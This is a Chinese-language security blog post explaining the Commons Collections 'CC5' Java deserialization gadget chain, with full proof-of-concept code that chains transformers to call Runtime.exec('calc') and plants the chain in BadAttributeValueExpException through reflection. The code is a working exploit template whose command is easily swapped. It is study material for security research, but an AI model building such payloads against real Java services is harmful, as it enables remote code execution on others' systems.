F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

  • python安全

  • Java安全

    • Java反射特性摘要
    • Java反序列化-URLDNS
    • Java反序列化-CC1
    • Java反序列化-CC5
      • 前言
      • 利用点
      • 注意点
    • Java反序列化-CC6
    • Fastjson(1)-初探以及利用方式
    • Fastjson(2)-TemplatesImpl利用链
    • 谈一谈Java动态加载字节码
  • 其他

  • 技术文章
  • Java安全
F4de
2020-11-15

Java反序列化-CC5

# 前言

不按顺序说CC2,CC3,CC4的原因是这是三条CC链用到的Java字节码以及使用javassist这个工具类来构造恶意字节码文件,而CC5,CC6在yso中的命令构造方式仍然是一系列Transformers的链式调用(当然这两条链也可以结合恶意字节码文件进行利用,但是本文讨论的是yso中的利用方式),和CC1的衔接更加紧密一些,所以之后说CC链的文章会打乱顺序:CC5->CC6->CC2->CC3->CC4->CC7。

# 利用点

环境配置

  • jdk1.7
  • maven依赖:commons-collections3.1

org.apache.commons.collections.keyvalue.TiedMapEntry这个类的toString的方法中调用了getValue方法:

    /**
     * Gets a string version of the entry.
     * 
     * @return entry as a string
     */
    public String toString() {
        return getKey() + "=" + getValue();
    }

}
1
2
3
4
5
6
7
8
9
10

跟进getValue方法进行查看:

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }
1
2
3
4
5
6
7
8

这里调用了map的get方法,还记得我们在CC1中说的LazyMap吗,如果getValue方法中的map是一个被LazyMap装饰过的hashmap的话,那么调用TiedMapEntrt#toString方法就会触发LazyMap#get方法,从而触发回调,我们可以先写一个简单的poc:

package ysoserial.MyExp.Test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            // 包装对象
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
                "getRuntime",
                null,
            }),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
                null,
                null,
            }),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
                "calc"
            }),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        Map evilMap = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "key");
        tiedMapEntry.toString();
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

image-20201115171043150

上面的poc中的TiedMapEntry#toSting是我们手动调用的,如果想要在反序列化中触发,就要找到某个类的readObject方法中会调用TiedMapEntry#toSting的逻辑,在yso中利用了javax.management.BadAttributeValueExpException;这个类,我们可以读一下它的readObject方法:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

有一行的内容是valObj.toSting(),我们在往上追溯一下valObj的源头:

image-20201115171437139

很明显,valObj就是从序列化数据流中获取的名称为val的变量,那么在这个类中一定有一个对应的变量:

image-20201115171616671

这个变量的类型是Object,所以可以利用反射再将其修改成TiedMapEntry类的一个对象,从而在反序列化中调用

TiedMapEntry#toSting。

完整poc:

package ysoserial.MyExp.CCExp;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            // 包装对象
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
                "getRuntime",
                null,
            }),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
                null,
                null,
            }),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
                "calc"
            }),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        Map evilMap = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
        Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);

        // 本地测试
        ByteArrayOutputStream byteArrayOutputStream = Serialize.serializeData(badAttributeValueExpException);
        System.out.println(byteArrayOutputStream);
        Serialize.unserializeData(byteArrayOutputStream);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

# 注意点

为什么要往BadAttributeValueExpException的构造方法传入1?

image-20201115172047583

这里如果直接传入TiedMapEntry类的对象的话会在构造方法处直接调用toString,所以为了避免本地生成payload的时候触发命令,所以要先传入一个1(null,字符串都可以),随后再利用反射进行修改(val的修饰符是private)来避免这种情况。

Java反序列化-CC1
Java反序列化-CC6

← Java反序列化-CC1 Java反序列化-CC6→

最近更新
01
谈一谈Java动态加载字节码的方式
12-18
02
Fastjson反序列化(2)-TemplatesImpl利用链
12-01
03
Fastjson反序列化(1)-初探利用方式
11-30
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式